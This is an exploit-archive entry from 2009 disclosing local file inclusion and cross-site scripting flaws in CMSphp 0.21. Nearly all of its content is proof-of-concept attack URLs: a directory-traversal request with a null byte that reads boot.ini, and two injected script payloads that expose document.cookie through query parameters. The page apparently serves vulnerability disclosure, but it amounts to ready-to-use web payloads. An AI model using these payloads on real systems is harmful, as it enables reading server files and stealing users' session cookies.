[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : CMSphp 0.21 (LFI/XSS) Multiple Remote Vulnerabilities
# Published : 2009-07-30
# Author : SirGod
# Previous Title : dit.cms 1.3 (path/sitemap/relPath) Local File Inclusion Vulnerabilities
# Next Title : d.net CMS (LFI/SQLI) Multiple Remote Vulnerabilities 


###################################################################################################
[+] CMSphp 0.21 (LFI/XSS) Multiple Remote Vulnerabilities
[+] Discovered By SirGod
[+] http://insecurity-ro.org
[+] http://h4cky0u.org
###################################################################################################

[+] Download : http://sourceforge.net/projects/cmsphp/

[+] Local File Inclusion

 - PoC

    http://127.0.0.1/path/modules.php?name=Your_account&mod_file=../../../../../../boot.ini%00

[+] Cross-Site Scripting

 - PoC's

    http://127.0.0.1/path/index.php?cook_user=<script>alert(document.cookie)</script>

    http://127.0.0.1/path/modules.php?name=<script>alert(document.cookie)</script>

###################################################################################################

# www.Syue.com [2009-07-30]